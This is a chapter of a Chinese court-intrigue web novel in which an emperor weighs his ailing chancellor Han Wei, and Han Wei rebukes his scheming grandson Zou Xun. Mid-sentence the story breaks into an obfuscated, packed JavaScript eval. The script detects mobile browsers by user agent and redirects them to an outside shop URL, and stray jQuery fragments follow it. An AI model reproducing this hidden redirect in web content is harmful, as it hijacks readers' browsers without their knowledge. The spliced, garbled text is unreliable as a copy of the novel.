“韩威啊韩威,是他老糊涂了,还是当朕好糊弄呢!” 沙於想要劝他两句,但这个借口的确太没有说服力。 成武帝没有回头,但是却等着沙於下一步的动作。 沙於也是聪明人,他很快反应过来,也一如既往没有搭茬,只上前一步,小心翼翼道:“陛下,老奴替您捏捏肩。” 见他如此,成武帝说不上满意不满意,只疲惫‘嗯’了一声,而后便闭眼享受起来。 享受了一会儿沙於力道适中的捏肩,成武帝像是舒缓很多。 他睁开双眼,重新看着手中韩威写的信,问沙於,“沙於你说,韩威是不是真的老得不中用了。” 他指信上的字,冷笑道:“你看韩威这字,杂乱飘忽,不会当真病入膏肓,命不久矣了吧?” 他又道:“韩威老矣,但左相位置不可空缺,沙於你替朕分析分析,如今这朝堂之中,谁人能接替韩威。” 沙於一惊,连忙跪下,惶恐道:“陛下问起两位皇子脾性,老奴还敢斗胆说上两句,毕竟老奴是看着他们长大的。但陛下要问起朝堂之事,那便是在折煞为难老奴。” 看着沙於这模样,成武帝好笑伸手将他扶起了。 “你在害怕什么,朕实在拿不出主意,才想问问你。”成武帝笑道,“毕竟你也陪着朕长大,最了解朕。” 看着颤颤巍巍的沙於,他无奈道:“你们一个个的,动不动就跪下求饶,弄得朕都忍不住自省朕是否过于残暴独裁。” 一听这话,沙於讪讪笑道:“征战时陛下用兵如神、体恤兵士,回到鄂阳,陛下又兢兢业业,上明群臣、下察百姓,您若是暴君,那便没有明君了。” 沙於又道,“只是,大嬴朝臣众多,老奴的确不知,更不敢妄言。” 成武帝叹了口气,“也是,你陪朕亲征近十载,回来后又想方设法给朕补养身体,没时间、更没机会去详细了解每一个人。” “罢了,索性韩威还没传出死讯,那便暂时如此吧。” 沙於没有再搭茬,只恭顺给成武帝继续捏肩。 * 左相府,韩威寝屋。 韩威病恹恹躺在烛火昏暗的床上,邹珣垂首坐在床边。 祖孙两沉默良久,许久没有人说话,还是坐在阴影下为韩威把脉的素衣男子率先开口,打破僵局。 “二皇子已然知错,左相息怒,别气坏了身体。”他又说,“二位也不必紧张,下官能坐在这,就说明陛下没有要动怒的意思。” 听到子瞮如春风般和煦的声音,邹珣猛地抬头看向子瞮,“此话当真,证据确凿,父皇却当真不会责怪外祖父。” 邹珣这话还没完全说完,怒目瞪着他的韩威猛地咳嗽。 邹珣大惊,还是子瞮起身让开,并眼神示意他,他才反应过来,一副孝子贤孙的模样,连忙上前替韩威抚背顺气。 见韩威一口气喘过来了,子瞮才关切道,“左相千万珍重身体,左相之位落入他人手中,是陛下最不想看到的。” 韩威咳嗽着,对子瞮恭敬道:“承蒙陛下关切,臣定然会好生调养。” 邹珣还没转过弯来,又问:“祖父买凶杀害邹杲之事,父皇当真不会再追究了?” 子瞮笑笑,还没说话,韩威便抓起床边的汤药碗朝邹珣脚边砸去。 韩威一边咳嗽,一边低声吼道:“你闭嘴。” 见邹珣一脸欲言又止的不服气,子瞮意味不明笑笑,“只念左相是二皇子您的亲外祖父这一点,陛下便不会轻易对左相动怒,何况韩贵妃还深得陛下喜爱。” 邹珣一怔,像是懂了,但是眼神中又都是疑惑,猛地转头看向韩威。 韩威已经不想和邹珣说话了,只看向子瞮,拱手道:“劳烦子瞮典客转告陛下,老臣必为大嬴江山社稷尽心竭力,不负陛下今日宽容体恤大恩。” 子瞮笑着拱手回礼,“左相有这个心就好,好生养好身体,陛下等着您早日回归朝堂呢。左相需要静养,陛下也还等着下官回去复命,下官便先行告辞了。” 韩威点头,也不管还没转过弯来的邹珣,叫来守在门外的管家,将他扶下床,又是给子瞮塞东西,又是恭恭敬敬送子瞮从偏门离开。 将子瞮送走,邹珣终于反应过来,他上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683248|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶住韩威,并赶走管家,这才难忍兴奋,问韩威:“祖父,父皇此番赦免您的大过,是有意培养扶持我做下一任帝王,对吗?” 韩威停下脚步,瞪了邹珣一眼,见邹珣讨好嬉笑的单纯模样,他一肚子的气也消了大半。 毕竟是亲孙子,再顽劣,终究是无法割舍。 “扶我去那边坐下。” 邹珣点头,一声声‘祖父’叫得那叫一个甜蜜,一句句‘慢点’说得那叫一个关切。 韩威没理他,坐下后,示意他也坐下,这才看向他。 韩威几番不悦,但看着他和自己有几分相似又面带笑容乖巧的脸,又心软。 韩威叹气,看向邹珣道:“你能在我不知不觉中取走祖宅地契、盗用我的官印,还能联系上暗秋城之人,让他们配合你的计谋,将对我不利的罪证顺理成章送到邹杲手上,进而送到陛下手中,的确有几分本事,但是这也是你最致命的一点。” “祖父你在说什么,孙儿听不懂。” 见邹珣还要狡辩,韩威长叹一声,痛心疾首盯着邹珣,“你以为,你扳倒我,便能得到我手下所有人脉吗?那是活生生的人,他们也会趋利避害,只凭现在的你,把握不住,更压制不住。” 邹珣也知道自己做错了,他非常心虚,生怕韩威不管他了,可怜兮兮喊着,便想狡辩,“祖父,我……” 韩威伸手打断他,“我既是你的外祖父,也是你的太傅,你那点小伎俩,我比你看得更清楚。” 邹珣有些难堪,但还是谨慎的没有反驳。 见他如此,韩威才有了几分安慰。 “珣儿,我子嗣稀薄,你舅舅早逝,我也老矣,我做的一切,全是为了你,你可以怀疑任何人,也可以扳倒任何人,但你万万不该在这个时候将刀尖对准我。” “你姓邹,但你却也流着我韩家的血,你与韩家本该一荣俱荣一损俱损,韩家也会用所有的力量来托举你,必要之时,不需你动手,我自会用我这把老骨头替你铺路,你又何必心急。” 邹珣猛地抓住韩威的手,挤出大滴大滴的眼泪哭得那叫一个痛苦懊悔,“祖父,是孙儿鬼迷心窍做错了事,孙儿不该听信门客的谗言,祖父要打要罚,孙儿……” 韩威再一次打断他。 纵使看出邹珣不是真心在认错,韩威还是没有拆穿他,只提点道:“你要记得,你母妃姓韩,邹瑅的母亲姓欧阳,是先有我韩家和欧阳家的盛宠,你们的母亲才能得到进宫服侍陛下的殊荣。” 邹珣也完全反应过来了,他抓住韩威的手,“我明白了,祖父,我都明白了。” “您和邹瑅的舅舅欧阳谨同在‘四公’之列多年,是父皇有意让你们彼此制衡,一旦您倒塌,邹瑅有欧阳谨、欧阳慎的支持,便能占据上风,届时,就算父皇有意立让我继承大统,因为欧阳家势力的缘故,也未必能成功。” “这也是我用您的名义触犯了父皇的大忌,父皇却不动您的原因。” 见邹珣想通,韩威叹气,拍了拍他的手背,“你知道这些便好。” 邹珣点头,兴奋又道:“祖父,父皇此举,是不是更心仪我……” 话没说完,韩威厉声道:“闭嘴,不可妄自揣测陛下之意。” 邹珣连忙闭嘴,那可怜模样,韩威叹气,语气了轻缓一些,“在乾坤未定前,你只需要乖乖跟着陛下跟前,不要再做任何触犯陛下大忌的事,不要再让陛下看到你的不足。” “其他的,我会帮你摆平,有我和韩家的根基在,你不用担心任何事。” “我知道了,祖父,我一定不会再犯。”邹珣乖巧笑着连忙点头回应。 韩威打断他,“少说漂亮话。离间的门客立刻处理了,以后行事之前,多思虑,你自己想不通便先去问问你母妃,她虽是妇道人家,但大是大非面前,她看得透亮。” 邹珣连忙点头,“好,孙儿记住了。” 韩威看着他,又低声警告,“安阳公主和睿王那边,你也少与之往来,陛下不喜他们不是一两日了,尤其是安阳公主。” 这倒是让邹珣与欲言又止,但见韩威的表情,他还是只说知道了,今后会注意。 片刻,韩威又问:“除了你和暗秋城那边的联系,你可还有别的事瞒着我?” 邹珣一怔,但还是笑着摇头,“没有了。” “确定?”韩威道,“除了陛下,你便只能依赖我。如今邹杲态度不明,若是他有意触犯龙威还好。若是他无意,那必定是我们敌人。如今他身在鸿秋塞,再被他抓到把柄……” 韩威的话已经说得很直白了,但邹珣还是果断摇头,“孙儿再不敢欺瞒祖父,祖父放心。” 见邹珣如此笃定,韩威也不再多说,只道:“如此便好。”又道,“陛下让李卓带你查案,是有意让李卓指点你,我无大碍,你速去寻李卓。” “好。”邹珣说着,就要抽出手起身离开。 在他走前,韩威抓住他的手,“不要过分殷勤,李卓能得到陛下的青睐,除了他的才能,便是他的公正不阿,过分的讨好,只会让他厌烦你。” 邹珣又是一愣,韩威又一次,说中了他原本的打算。 韩威却放开了他的手,不再多说,只挥手驱赶他。 邹珣反应过来,恭敬行礼,这才转身离开。 看着邹珣远去的背影,韩威长叹了好几口气,本就疲劳的脸越发的疲惫。 但是如今,他膝下无子,一众外孙中,也只有邹珣身份最尊贵,能帮助韩家更上一层楼。 * 许久过后,韩威唤来管家,勒令管家彻查府中所有人员,尤其是膳房之人。